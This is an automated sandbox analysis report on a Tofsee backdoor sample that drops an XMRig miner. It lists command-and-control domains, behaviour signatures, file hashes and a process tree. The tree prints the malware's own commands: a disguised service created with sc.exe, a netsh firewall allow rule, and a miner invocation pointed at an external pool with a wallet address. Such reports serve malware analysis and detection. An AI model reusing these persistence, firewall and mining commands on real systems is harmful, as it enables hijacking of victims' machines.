Analysis

  • max time kernel
    141s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220901-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/10/2022, 03:28

General

  • Target
    file.exe
  • Size 224KB
  • Sample221023-d1bsksgbb6
  • SHA256 73c15e2251ef71e9897769f2c0fafccd28d8f3796a34d8a8bea5b175706b5ca1
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • svartalfheim.top

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\alwcurvp\
      2⤵
        PID:3820
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ozvarkwl.exe" C:\Windows\SysWOW64\alwcurvp\
        2⤵
          PID:216
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create alwcurvp binPath= "C:\Windows\SysWOW64\alwcurvp\ozvarkwl.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:3944
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description alwcurvp "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:540
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start alwcurvp
          2⤵
          • Launches sc.exe
          PID:4156
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2420
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4996 -s 664
          2⤵
          • Program crash
          PID:3332
      • C:\Windows\SysWOW64\alwcurvp\ozvarkwl.exe
        C:\Windows\SysWOW64\alwcurvp\ozvarkwl.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:924
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1996
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4576 -s 532
          2⤵
          • Program crash
          PID:4984
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 368 -p 4996 -ip 4996
        1⤵
          PID:3120
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 4576 -ip 4576
          1⤵
            PID:3780

          Network

                MITRE ATT&CK Enterprise v6

                Replay Monitor

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                Downloads

                ozvarkwl.exe

                • Path C:\Users\Admin\AppData\Local\Temp\ozvarkwl.exe
                • Size 14.0MB
                • SHA256 e4ee41b17912274b2ffb9c8f9104a020e6cbf073a53ed2e3fe4ed0d62ad82b22
                • MD5 SHA1 SHA512 SSDEEP

                ozvarkwl.exe

                • Path C:\Windows\SysWOW64\alwcurvp\ozvarkwl.exe
                • Size 14.0MB
                • SHA256 e4ee41b17912274b2ffb9c8f9104a020e6cbf073a53ed2e3fe4ed0d62ad82b22
                • MD5 SHA1 SHA512 SSDEEP

                memory/924-163-0x00000000023F0000-0x00000000023F5000-memory.dmp

                memory/924-169-0x0000000002FD0000-0x0000000002FD7000-memory.dmp

                memory/924-166-0x0000000007B00000-0x0000000007F0B000-memory.dmp

                memory/924-162-0x0000000000D20000-0x0000000000D35000-memory.dmp

                memory/924-159-0x00000000023A0000-0x00000000023B0000-memory.dmp

                memory/924-156-0x0000000002390000-0x0000000002396000-memory.dmp

                memory/924-153-0x0000000002C00000-0x0000000002E0F000-memory.dmp

                memory/924-151-0x0000000000D20000-0x0000000000D35000-memory.dmp

                memory/924-147-0x0000000000D20000-0x0000000000D35000-memory.dmp

                memory/1996-178-0x0000000000B80000-0x0000000000C71000-memory.dmp

                memory/1996-173-0x0000000000B80000-0x0000000000C71000-memory.dmp

                memory/4576-152-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/4576-150-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/4576-145-0x0000000002E8E000-0x0000000002EA3000-memory.dmp

                memory/4996-143-0x0000000002DA3000-0x0000000002DB9000-memory.dmp

                memory/4996-133-0x0000000002C70000-0x0000000002C83000-memory.dmp

                memory/4996-132-0x0000000002DA3000-0x0000000002DB9000-memory.dmp

                memory/4996-134-0x0000000000400000-0x0000000002C26000-memory.dmp

                memory/4996-144-0x0000000000400000-0x0000000002C26000-memory.dmp